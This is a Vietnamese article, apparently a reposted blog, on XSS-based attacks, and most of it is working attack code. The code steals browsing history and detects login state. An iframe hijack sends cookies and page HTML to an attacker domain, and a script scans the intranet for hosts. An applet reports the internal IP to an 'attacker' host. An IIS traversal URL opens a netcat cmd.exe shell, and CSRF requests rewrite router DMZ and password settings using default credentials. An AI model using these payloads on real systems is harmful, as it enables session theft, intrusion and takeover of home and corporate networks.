Tấn công XSS và phòng thủ
Tấn công XSS (cross-site scripting) thường được coi là lành tính, hoặc người ta thường ít nghĩ đến những hiểm họa tiềm tàng của chúng. Ví dụ, phần lớn mọi người cho rằng các chương trình mã độc Javascript có thể ăn cắp cookies hoặc chuyển hướng một người tới một trang Web khác. Tuy nhiên, những tấn công đơn giản đó, mặc dù rất hữu ích, nhưng chúng chỉ làm trên phần giao diện như một người có thể làm một khi họ được phép chạy Jvascript trên trình duyệt.
Theo Bizfly Cloud tìm hiểu trong phần này, tôi sẽ giới thiệu những hiểm họa lớn hơn từ những lỗi đơn giản trên trang Web mà những kẻ tấn công có thể lợi dụng, từ ăn cắp lịch sử trình duyệt, tới những điều rất khủng khiếp và mã độc Javascript có thể làm được.
Ăn cắp lịch sử duyệt Web
Khi một hacker thực hiện các cuộc tấn công, những hiểu biết của về người dùng, ví dụ như thói quen của họ sẽ giúp ích rất nhiều. Thay vì tìm kiếm một cách rộng rãi, kẻ tấn công có thể nhắm đến những khu vực có những lỗ hổng và khi đó thành công sẽ dễ dàng hơn. Sử dụng một vài thủ thuật Javascript/CSS, rất đơn giản để khám phá những trang Web nào nận nhận đã từng ghé thăm, quyết định liệu họ có đăng nhập và những dữ liệu từ lịch sử tìm kiếm của họ. Với những thông tin này, một kẻ tấn công có thể thực hiện việc chuyển tiền qua tài khoản, phát tấn sâu Web, hoặc gửi thư spam trên trang Web nơi mà nạn nhân đã từng đăng nhập gần đây.
JavaScript/CSS API getComputedStyle
Tấn công lịch sử bằng Javascript/CSS là một phương pháp brute-force có hiệu qủa cao để tìm ra nơi nạn nhân đã từng ghé thăm. Trung bình, một người dùng Web truy cập hàng chụ trang Web trong một ngày. Điều đầu tiên mà một kẻ tấn công sẽ làm là thu thập một danh sách các trang Web mà người dùng truy cập thường xuyên. Danh sách các trang Web phổ biến trên thế giới ví dụ như bảng xếp hạng Alexa là một nguồn tài nguyên rất quý giá giúp quá trình xử lý dễ dàng hơn. Tìm kiếm một vài trang Web online banking hay các cổng thanh toán phổ biến, kẻ tấn công có một danh sách hoàn thiện để tập trung vào.
Kỹ thuật này tận dụng DOM (Document Object Model) cách sử dụng các màu sắc khau nhau để hiển thị các trang đã từng truy cập. Bằng cách tạo ra các liên kết động, kẻ tấn công có thể kiểm tra thuộc tính getComputedStyle trong Javascript để trích xuất thông tin lịch sử duyệt Web. Đây là một xử lý đơn giản. Nếu liên kết chỉ có 1 màu, ví dụ màu xanh, nạn nhân chưa từng truy cập trang Web. Nếu nó có màu tím, nó đã từng được truy cập.
Code cho Firefox (có thể chạy được bởi các trình duyệt khác)
<html>
<body>
<H3>Visited</H3>
<ul id="visited"></ul>
<H3>Not Visited</H3>
<ul id="notvisited"></ul>
<script>
/* A short list of websites to loop through checking to see if the victim has been there. Without noticeable performance overhead, testing couple of a couple thousand URL's is possible within a few seconds. */
var websites = [
"http://ha.ckers.org",
"http://jeremiahgrossman.blogspot.com/",
"http://mail.google.com/",
"http://mail.yahoo.com/",
"http://www.e-gold.com/",
"http://www.amazon.com/",
"http://www.bankofamerica.com/",
"http://www.whitehatsec.com/",
"http://www.bofa.com/",
"http://www.citibank.com/",
"http://www.paypal.com/",
];
/* Loop through each URL */
for (var i = 0; i < websites.length; i ) {
/* create the new anchor tag with the appropriate URL information */
var link = document.createElement("a");
link.id = "id" i;
link.href = websites[i];
link.innerHTML = websites[i];
/* create a custom style tag for the specific link. Set the CSS visited selector to a known value, in this case red */
document.write('<style>');
document.write('#id' i ":visited {color: #FF0000;}");
document.write('</style>');
/* quickly add and remove the link from the DOM with enough time to save the visible computed color. */
document.body.appendChild(link);
var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
document.body.removeChild(link);
/* check to see if the link has been visited if the computed color is red */
if (color == "rgb(255, 0, 0)") { // visited
/* add the link to the visited list */
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('visited').appendChild(item);
} else { // not visited
/* add the link to the not visited list */
var item = document.createElement('li');
item.appendChild(link);
document.getElementById('notvisited').appendChild(item);
} // end visited color check if
} // end URL loop
</script>
</body>
</html>
Kết quả của đoạn code trên được minh họa trong hình dưới đây:
Ăn cắp truy vấn máy tìm kiếm
SPI Dynamics chứng tỏ rằng những kẻ tấn công có thể xây dựng hack Javascirpt/CSS để phát hiện ra các tìm kiếm khác nhau mà nạn nhân đã từng sử dụng. Nó có thể giúp ích nếu biết rằng nạn nhân đã từng tìm kiếm "MySpace" hoặc tương tự thế.
Tấn công này làm việc bằng cách tạo ra các từ khóa tìm kiếm được gợi ý, các URL được tạo ra bởi các máy tìm kiếm phổ biến. Ví dụ nếu bạn tìm kiếm "XSS Exploit" thanh địa chỉ của trình duyệt sẽ hiển thị giống như hình dưới.
URL của truy vấn tìm kiếm rất đơn giản để có thể tạo ra hàng nghìn loại. Kết hợp điều đó với hack lịch sử Javascript/CSS ở phần trên, lịch sử truy vấn tìm kiếm sẽ được mở ra. Thực ra, kẻ tấn công có thể tạo ra một danh sách rất dài các liên kết trên DOM, có thể nhìn thấy hoặc ẩn đi, và kiểm tra màu của liên kết giống như phương pháp trên. Nếu liên kết màu xanh, nạn nhân đã từng tìm kiếm, nếu nó màu tím, nó chưa từng được tìm kiếm trước đây. Kết quả của phương pháp này có thể rất rời rạc, nhưng nó không tốn của kẻ tấn công bất cứ điều gì, vì thế đây là một thủ tục có giá trị. SPI Dynamics cài đặt một ví dụ online để demo kỹ thuật này.
Check lỗi đăng nhập trên console Javascript
Mọi người thường xuyên và liên tục đăng nhập vào các trang Web phổ biến. Hiểu biết về các trang Web này có thể vô cùng hữu ích để nâng cao hiệu quả của các cuộc tấn công CSRF hoặc XSS cũng như các hành động thu thập thông tin trái phép khác. Kỹ thuật sử dụng một phương pháp tương tự phương pháp port scan bằng Javascript bằng cách nối các thông báo lỗi từ console Javascript. Rất nhiều trang Web yêu cầu đăng nhập trả về kết quả HTML rất khác nhau với cùng URL khi bạn đăng nhập hay không. Ví dụ, trang Web quản lý tài khoản chỉ có thể truy cập nếu bạn đăng nhập. Nếu URL được tải lên tự động trong thẻ <script src=, nó có thể gây cho console Javascript lỗi khác nhau bởi vì trả lời truy vấn này là HTML, không phải là Javascript. Loại lỗi và số dòng có thể được liên kết với nhau. Hình dưới đây minh họa cho kỹ thuật này.
Sử dụng Gmail làm ví dụ, <script src="https://mail.google.com/mail/">
Hình trên hiển thị hình chụp màn hình console Javascript khi truy vấn được tạo trong trường hợp này là bởi một người dùng đã đăng nhập. Chú ý tới thông báo lỗi và số dòng trong hình dưới khi truy vấn được tạo bởi người dùng chưa đăng nhập. Kẻ tấn công có thể dễ dàng tiền hành trước nghiên cứu này khi lên kế hoạch nhắm tới các mục tiêu cao hơn và các cuộc tấn công lớn hơn. Ngoài ra còn 1 yếu tố nữa là điều này rất hữu ích cho những người đang hồ sơ bổ sung cho các cơ hội marketing.
Nhận xét trong đoạn mã dưới đây, được thiết kế để hoạt động với Mozilla Firefox (tương tự với code của các trình duyệt khác), miêu tả cụ thể cách kỹ thuật này làm việc. Ở trình độ cao hơn, một URL bất kỳ từ một trang Web phổ biến được lựa chọn bởi vì chúng trả lời 2 nội dung Web khác nhau tùy thuộc vào người dùng đã đăng nhập hay chưa. Các URL này được đặt vào trong script src của đối tượng DOM với mục đích làm console Javascript thông báo lỗi nơi mà chúng có thể bị bắt vào phân tích. Giống như một chữ ký, tùy thuộc vào thông báo lỗi trên console Javascript, và số dòng, có thể xác đinh được người dùng đã đăng nhập hay chưa.
Đoạn code sau minh họa cách làm của phương pháp này. Các comment sẽ giải thích rõ hơn về qúa trình thực hiện.
<html>
<head>
<title>JavaScript WebSite Login Checker</title>
<script>
<!--
/* Capture JavaScript console error messages and pass the err function for
processing*/
window>
/* These are the login/logout signatures for each specific website to be tested.
Each signature has a specific URL which returns different content depending on if
the user is logged-in or not. Each record will also include the error message and
line number expected for each scenario to make the decision. */
var sites = {
'http://mail.yahoo.com/' : {
'name' : 'Yahoo Mail (Beta)',
'login_msg' : 'missing } in XML expression',
'login_line' : '12',
'logout_msg' : 'syntax error',
'logout_line' : '7',
},
'http://mail.google.com/mail/' : {
'name' : 'Gmail',
'login_msg' : 'XML tag name mismatch',
'login_line' : '8',
'logout_msg' : 'invalid XML attribute value',
'logout_line' : '3',
},
'http://profileedit.myspace.com/index.cfm?fuseaction=profile.interests' : {
'name' : 'MySpace',
'login_msg' : 'missing } in XML expression',
'login_line' : '21',
'logout_msg' : 'syntax error',
'logout_line' : '82',
},
'http://beta.blogger.com/adsense-preview.g?blogID=13756280' : {
'name' : 'Blogger (Beta)',
'login_msg' : 'XML tag name mismatch',
'login_line' : '8',
'logout_msg' : 'syntax error',
'logout_line' : '1',
},
'http://www.flickr.com/account' : {
'name' : 'Flickr',
'login_msg' : 'syntax error',
'login_line' : '1',
'logout_msg' : 'syntax error',
'logout_line' : '7',
},
'http://www.hotmail.com/' : {
'name' : 'Hotmail',
'login_msg' : 'missing } in XML expression',
'login_line' : '1',
'logout_msg' : 'syntax error',
'logout_line' : '3',
},
'http://my.msn.com/' : {
'name' : 'My MSN',
'login_msg' : 'missing } in XML expression',
'login_line' : '1',
'logout_msg' : 'syntax error',
'logout_line' : '3',
},
'http://searchappsecurity.techtarget.com/login/' : {
'name' : 'SearchAppSecurity Techtarget',
'login_msg' : 'syntax error',
'login_line' : '16',
'logout_msg' : 'syntax error',
'logout_line' : '3',
},
'https://www.google.com/accounts/ManageAccount' : {
'name' : 'Google',
'login_msg' : 'XML tag name mismatch',
'login_line' : '91',
'logout_msg' : 'missing = in XML attribute',
'logout_line' : '35',
},
};
/* this method adds the results to the interface */
function addRow(loc) {
var table = document.getElementById('results');
var tr = document.createElement('tr');
table.appendChild(tr);
var td1 = document.createElement('td');
td1.innerHTML = sites[loc].name;
tr.appendChild(td1);
var td2 = document.createElement('td');
td2.width = 200;
td2.setAttribute('id', sites[loc].name);
td2.innerHTML = ' ';
tr.appendChild(td2);
var td3 = document.createElement('td');
tr.appendChild(td3);
var button = document.createElement('input');
button.type = "button";
button.value = "Check";
button.setAttribute("OnClick", 'check("' loc '");');
td3.appendChild(button);
}
/* When executed, this function received a URL for testing and creates a script tag
src to that URL. JavaScript errors generated with be passed to the err function */
function check(loc) {
var script = document.createElement('script');
script.setAttribute('src', loc);
document.body.appendChild(script);
}
/* This function recieves all JavaScript console error messages. These error
messages are used to signature match for login */
function err(msg, loc, line) {
/* results block */
var res = document.getElementById(sites[loc].name);
/* check to see if the current test URL matches the signature error message
and line number */
if ((msg == sites[loc].login_msg) && (line == sites[loc].login_line)) {
res.innerHTML = "Logged-in";
} else if ((msg == sites[loc].logout_msg) && (line ==
sites[loc].logout_line)) {
res.innerHTML = "Not Logged-in";
} else {
res.innerHTML = "Not Logged-in";
}
window.stop();
} // end err subroutine
// -->
</script>
</head>
<body>
<div align="center">
<h1>JavaScript WebSite Login Checker</h1>
<table id="results" border="1" cellpadding="3" cellspacing="0"></table>
<script>
for (var i in sites) {
addRow(i);
}
</script>
</div>
</body>
</html>
Tấn công mạng Intranet
Phần lớn mọi người tin tưởng rằng, khi lướt Web, họ được bảo vệ bởi tường lửa hay các hệ thống biệt lập biên dịch địa chỉ IP (Internet Protocol) – NAT. Với những tin tưởng trên, chúng ta thường sử dụng bảo mật được thiết lập trên các trang Web intranet hay giao diện Web của bộ định tuyến, tường lửa, modem, … Ngay cả khi chúng có những lỗ hổng bảo mật chưa được vá, chúng vẫn rất an toàn trong vùng được bảo vệ. Không gì có khả năng kết nối với chúng từ bên ngoài. Điều này có đúng không? Câu trả lời là không.
Trình duyệt Web hoàn toàn có khả năng được điều khiển bởi bất cứ trang Web nào, cho phép chúng có thể thực hiện tấn công vào các tài nguyên trong mạng nội bộ. Trình duyệt Web của tất cả người dùng trong doanh nghiệp trở thành bàn đạp cho những kẻ xâm nhập. Bây giờ hãy tưởng tượng rằng bạn truy cập tới một trang Web có chứa mã độc Javascript mà khi chạy nó sẽ tự động cấu hình lại mạng máy tính trong công ty bạn cũng như các tưởng lửa từ bên trong, mở ra mạng nội bộ của công ty cho cả thế giới. Hình dưới đây minh họa quá trình thực hiện việc này.
Quá trình khai thác:
- 1. Một nạn nhân truy cập một trang Web chứa mã độc Javascript và sau đó trang Web điều khiển trình duyệt này.
- 2. Mã độc Javascript tải một applet Java tiết lộ địa chỉ IP NAT trong mang nội bộ của nạn nhân.
- 3. Sau đó, sử dụng trình duyệt của nạn nhân như một nền tảng để tấn công, các phần mềm độc hại Javascript xác định và theo dấu máy chủ của mạng nội bộ.
- 4. Những tấn công được thiết lập chống lại các trang Web nội bộ hay bên ngoài, và thông tin đánh cắp được được gửi qua mạng, được thu thập nhằm nhiều mục đích khác nhau.
Điều khiển duy trì
Javascript có một khả năng rất lớn trong việc điều khiển thông qua trình Duyệt và các môi trường công khai khác, ngay cả trong trường hợp có sự hiện diện của chính sách cùng nguồn (same-origin) và các thiết đặt của Internet Explorer (IE). Javascript có thể truy cập cookies, nhận các phím được bấm, theo dõi trang Web được truy cập. Điều đầu tiên chúng ta cần làm là cài đặt một phương pháp để duy trì việc điều khiển thông qua trình duyệt, ngay cả khi người dùng click vào các link khác.
var iframe = document.createElement("iframe");
iframe.setAttribute("src", "/");
iframe.setAttribute("id", 'watched');
iframe.setAttribute("scrolling", "no");
iframe.setAttribute("frameBorder", "0");
iframe.setAttribute("OnLoad", "readViewPort()");
iframe.setAttribute("OnUnLoad", "");
iframe.style.border='0px';
iframe.style.left='0px';
iframe.style.top='0px';
iframe.style.width=(window.innerWidth - 20) 'px';
iframe.style.height='2000px';
iframe.style.position='absolute';
iframe.style.visibility='visible';
iframe.style.zIndex='100000';
document.body.innerHTML = '';
document.body.appendChild(iframe);
Để đạt được việc điều khiển ở trình độ này, đoạn mã trên tạo ra một iframe toàn màn hình trong suốt (không thể nhìn thấy). Bằng cách này, khi người dùng click, chỉ có URL của iframe thay đổi và tiểu trình điều khiển bởi mã độc Javascript là được duy trì. Hạn chế duy nhất của phương pháp này là URL trên thanh địa chỉ không thay đổi mỗi khi click, điều này có thể gây chú ý cho người dùng. Với mỗi click bên trong iframe, phương thức readViewPort() được gọi, nó sẽ bắt các dữ liệu và gửi chúng.
/* Read data in the view port */
function readViewPort() {
/* save object for the users monitored viewport */
var watched = document.getElementById(iframe_name);
/*
Check if the users view port url has changed
If it has, a new session needs to be created and/or the
data needs to be transfered.
*/
if (current_url != watched.contentWindow.location.href) {
/* save the current url of the users viewport */
current_url = watched.contentWindow.location.href;
/* save the current url of the users viewport */
/* data is base64 encoded to make it easier to transfer inside URL's
*/
var b64_url = base64_encode(current_url);
/* save the current cookies of the users viewport */
var b64_cookies = base64_encode(document.cookie);
/* Create a new session and transfer the current data off-doamin */
var img = new Image();
img.src = off_domain 'session/' sessionid "/" b64_url "/"
b64_ua "/" b64_cookies;
/* Send the HTML data off-domain */
sendDataOffDomain(watched.contentWindow.document.body.parentNode.innerHTML);
} else { // URL has not changed. Poll the server
var script_tag = document.createElement("script");
script_tag.setAttribute("src", off_domain "poll/" sessionid);
document.body.appendChild(script_tag);
}
/* Loop the function and set a timeout for polling */
setTimeout("readViewPort(sessionid);",5000);
return;
} // end readViewPort
Thu thập thông tin địa chỉ IP đã bị NAT
Bước tiếp theo trong quá trình khai thác mạng intranet là nhận địa chỉ IP đã bị NAT của người dùng. Đề làm được điều này, chúng là cần gọi một applet Java đặc biệt có tính năng này. Một trong số chúng là MyAddress được phát triển bởi Lars Kindermann, bởi vì nó hoạt động tốt, rất dễ sử dụng, và gửi địa chỉ IP tới nơi mà Javascript có thể truy cập được. Đoạn code sau tải MyAddress.class và sau đó mở URL http://attacker/demo.html?IP=XXXX và dữ liệu này có thể được truy cập từ xa.
<APPLET CODE="MyAddress.class">
<PARAM NAME="URL" VALUE="http://attacker/demo.html?IP=">
</APPLET>
Quét các cổng
Với địa chỉ IP trong mạng nội bộ được trình duyệt Web tìm được, chúng ta có thể quét máy chủ Web trong mạng đó. Nếu trong một vài trường hợp vì lý do nào đó địa chỉ IP không thể nhận được, chúng ta hoàn toàn có thể đoán được địa chỉ IP này (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), nhưng xử lý sẽ không hiệu quả bằng. Tiếp tục với các ví dụ ở phần trên, chúng ta sẽ sử dụng địa chỉ 192.168.0.100 như là địa chỉ IP nội bộ của trình duyệt Web. Giả thiết rằng chúng ta muốn quét mang lớp C 192.168.0.0-255 với cổng 80 sử dụng mã ngườn trong ví dụ sau. Máy chủ Web sử dụng SSL (Secure Sockets Layer) có thể được quét bằng cách tương tự sử dụng cổng 443.
/* Event Capturing */
window>
/* launch the Intranet scan */
scanWebServers(internal_ip);
/* scan the Intranet */
function scanWebServers(ip) {
/* strip the last octet off the Intranet IP */
var net = ip.substring(0, ip.lastIndexOf('.') 1);
/* Start from 0 and end on 255 for the last octet */
var start = 0;
var end = 255;
var x = start;
var timeout = 0;
/* section sets up and increments setTimeout timers with periodic window.stop(). We
use this because if there is no web server at the specified IP, the browser will
hang for an overly long time until the timeout expires. If we fire too many hanging
off-domain connections we'll cause on browser connection DoS. window.stop() halts
all open connects so the scan process can move on. */
while (x < end) {
timeout = 500;
var y = x 20;
if (y > end) { y = end; }
/* send a block of IPs to be scanned */
setTimeout("scan(" x ", " y ", '" net "')", timeout);
timeout = 6000;
self.setTimeout("window.stop();", timeout);
x = 21;
}
} // end scanWebServers
/* scan a block of IPs */
function scan(start, end, range) {
var start_num = 0;
if (start) { start_num = start; }
var end_num = 255;
if (end) { end_num = end; }
// loop through number range
for (var n = start_num; n <= end_num; n ) {
// create src attribute with constructed URL
var URL = 'http://' range n '/';
// create script DOM object
if (debug['portscan']) {
var script = document.createElement('script');
script.src = URL;
// add script DOM object to the body
document.body.appendChild(script);
}
} // end number range loop
} // end scan subroutine
/* capture window errors caused by the port scan */
function err(msg, loc, a, b) {
/* An error message of "Error loading script" indicates the IP did not respond.
Anything else likely indicates that something is listening and sent data back which
caused an error. */
if (! msg.match(/Error loading script/)) {
var img = new Image();
var src = off_domain 'session=' sessionid "&action=portscan&ip="
escape(loc);
img.src = src;
}
return;
} // end err subroutine
Có một vài kỹ thuật quan trọng trong đoạn mã trên, nhưng khái niệm quan trọng nhất là cách mà các máy chủ Web bị phát hiện. Về cơ bản, đoạn mã tạo ra các tag script động trên đối tượng DOM mà có thuộc tính src tới địa chỉ IP và cổng trên mạng nội bộ. () Phương thức này được sử dụng thay cho XHR, bởi vì nó không cho phép chúng ta gửi các truy vấn ngoài tên miền. Nếu máy chủ Web tồn tại, nội dung HTML được trả về thông qua truy vấn HTTP. Nội dung HTML sau đó được tải lên trình thông dịch Javascript của trình duyệt, và giống như những gì chúng ta mong đợi, lỗi trên console sẽ được tạo ra. Chúng ta bắt những lỗi này và kiểm tra chuỗi "Error loading script," biểu thị rằng địa chỉ IP và cổng này không tồn tại. Hình dưới đây minh họa cho phương pháp này.
Hai khả năng khác nhau đó là tạo ra truy vấn với tag script trên đối tượng DOM: không máy chủ Web nào đang listen hoặc host không tồn tại. Khi mà host tồn tại những máy chủ Web không phải đang listen, host sẽ nhanh chóng trả lời bằng cách đóng kết nối mà không thông báo lỗi trên console. Khi không có host ở địa chỉ IP, máy chủ Web sẽ chờ tới timeout. Nhưng vì chúng ta đang tạo ra kết nối trong mạng nội bộ, nên mạng sẽ liên tục được kết nối và timeout sẽ rất lâu. Do đó, chúng ta cần một cách để đóng kết nối hiện tại để tăng tốc độ của việc quét. Phương thức window.stop() sẽ làm điều này.
window.stop() cũng rất quan trọng, bởi vì trình duyệt Web sẽ có giới hạn cho các kết nối đồng thời mà nó có thể tạo ra. Nếu chúng ta cố gắng script tag các đối tượng DOM ngay lập tức thông qua toàn bộ dải địa chỉ IP, trình duyệt Web sẽ trải qua một kết nối DoS (Denial of Service). window.stop() cho phép chúng ta khởi tạo một khối các kết nối và xử lý đóng chúng sau một vài giây không tìm được máy chủ. Ngoài ra, sự có mặt của setTimeout() trong khối kết nối cũng là một thức đáng lưu ý do các biểu hiện khác nhau của Javascript.
Trong Javascript, không có một cách nào để tạm dừng script đang chạy. Set Timeout sẽ lên lịch cho các khối truy vấn quét và dừng chúng sau một khoảng thời gian định trước.
Điều cuối cùng cần được đề cập là sự tồn tại của những điều bất thường khi máy chủ Web trả lời truy vấn các đối tượng DOM, nhưng nội dung HTML không gây ra lỗi trên console. Hành vi này được chú ý trên Firefox khi nội dung HTML được trả về được định dang đúng theo đặc tả XML.
Theo dấu máy chủ Web trong tình trạng mù
Bây giờ, khi chúng ta đã xác định được máy chủ Web trên mạng nội bộ, nó rất hữu ích giúp chúng ta biết được chúng là loại thiết bị nào. Bằng cách đó, các tấn công cao hơn sẽ được thực hiện. Bởi vì chúng ta không thể đọc trả lời HTML thực sự từ một truy vấn ngoài tên miền, chúng ta cần sử dụng các kỹ thuật khác. Đặc biệt, chúng ta sẽ khám phá việc sử dụng URL ảnh, CSS, hoặc Javascript để theo dấu. Ví dụ, phần lớn máy chủ Web lưu trữ nội dung như sau:
Apache Web Server
/icons/apache_pb.gif
HP Printer
/hp/device/hp_invent_logo.gif
PHP Image Easter eggs
/?=PHPE9568F36-D428-11d2-A769-00AA001ACF42
Tuy nhiên, không có gì là chắc chắn rằng các máy chủ Web sẽ lưu trữ dữ liệu chính xác với dạng thức như trên. Chúng ta có thể sử dụng Javascript để tạo một đối tượng DOM img:
<img scr="http://intranet_ip/unique_image_url" />
Máy chủ Web sẽ trả lại một đối tượng không có ảnh, điều đó có thể là máy chủ được thiết kế bởi URL duy nhất. Tuy nhiên, nếu chúng ta lấy được ảnh như dự tính, điều đó có nghĩa là máy chủ Web đã bị theo vết. Những tiếp cận tương tự có thể được áp dụng để tải lên CSS hoặc Javascript với URL duy nhất, và sau đó phát hiện liệu đối tượng có được tải lên DOM.
Toàn bộ qúa trình rất đơn giản là tạo ra một danh sách đủ lớn của các URL duy nhất, và phát hiện sự tồn tại của chúng trên máy chủ.
Tấn công mạng Intranet
Với những thông tin về địa chỉ IP NAT, danh sách máy chủ Web trên mạng intranet, và các thông tin khác, kẻ tấn công có thể bắt đầu khai thác từ bên trong. Chúng ta biết rằng các thiết bị trên Intranet thường ít được bảo mật hơn các thiết bị kết nối ra mạng công cộng bởi vì chúng đã được bảo vệ bởi tường lửa và các thức tương tự. Điều đó hoàn toàn không đúng, có nghĩa là chỉ cần sử dụng các kỹ thuật cũ và phổ biến cũng có thể khai thác thành công. Và đương nhiên có rất nhiều lỗ hổng để khai thác. Ví dụ, nếu một kẻ tấn công muốn khai thác lỗ hổng phổ biến sau của máy chủ IIS của Microsoft:
Unicode:
http://target_IP/scripts/.. \../winnt/system32/cmd.exe?/c nc -L -p 31500 -d -
e cmd.exe
Decode hai lần:
http://target_IP/scripts/..\../winnt/system32/cmd.exe?/c nc -L -p 31500 -d -
e cmd.exe
Tuy nhiên, khi kẻ tấn công nhắm tới người dùng gia đình, rất nhiều trong số họ sử dụng router DSL để kết nối nhiều máy tính trên mang nội bộ (LAN). Giao diện Web của những thiết bị này được sử dụng để cấu hình chúng và thường ở địa chỉ 192.168.1.1. Nếu nạn nhân đăng nhập vào thời điểm tấn công diễn ra, CSRF và XSS đối với các thiết bị này sẽ rất hiệu quả để khai thác mạng nội bộ. Tuy nhiên, phần lớn chúng sử dụng username và password mặc định đã được viết trong rất nhiều tài liệu và rất ít khi người dùng thay đổi chúng. Không gì có thể ngăn chặn kẻ tấn công bắt buộc nạn nhân đăng nhập mà không hề biết về hành động của mình.
Một cách đơn giản để bắt buộc người dùng đăng nhập là sử dụng một URL đặc biệt được định dạng bởi rất nhiều trình duyệt. Ví dụ:
http://<username>:<password>
Sử dụng username mà password mặc định, ví dụ:
http://admin:password@192.168.1.1/
Sau thời điểm này, trình duyệt của người dùng được đăng nhập mà người dùng không hề biết, và các tấn công tiếp theo sẽ được thực hiện. Nếu URL như trên không được hỗ trợ, có thể sử dụng Flash để tạo hiệu qủa tương tự. Từ lúc này, người dùng đã đăng nhập và kẻ tấn công có thể thay đổi thiết lập của router.
Ví dụ kẻ tấn công muốn thay đổi thiết lập của DMZ (Demilitarized Zone) và trỏ tất cả lưu thông trên mạng tới máy của nạn nhân, hắn có thể gửi đoạn mã Javascript sau tới trình duyệt của nnạ nhân.
var img = new Image();
var url = "http://admin:password@192.168.1.1/security.cgi?dod=dod&dmz_enable=dmz_enable&dmzip1=192&dmzip2=168&dmzip3=1&dmzip4=100&wan_mtu=1500&apply=Apply&wan_way=1500";
img.src = url;
Hoặc kẻ tấn công muốn thay đổi username và password mặc định:
var img = new Image();
var url = " http://admin:password@192.168.1.1/password.cgi?sysOldPasswd=password&sysNewPasswd=newpass&sysConfirmPasswd=newpass&cfAlert_Apply=Apply";
img.src = url;
Kẻ tấn công cũng có thể thay đổi thiết lập DNS. Có nghĩa là người dùng có thể bị chuyển hướng tới các trang Web độc hại khi truy cập vào các trang Web bình thường. Những gì kẻ tấn công có thể làm được là vô hạn, và router DSL không phải là thiết bị duy nhất có thể bị tấn công. Tường lửa, hệ thông trả tiền, hệ thống quản lý nhân sự, máy in, UPS, máy chủ lưu mã nguồn,… cũng đều có thể trở thành mục tiêu tấn công.
Theo: Techtalk via Viblo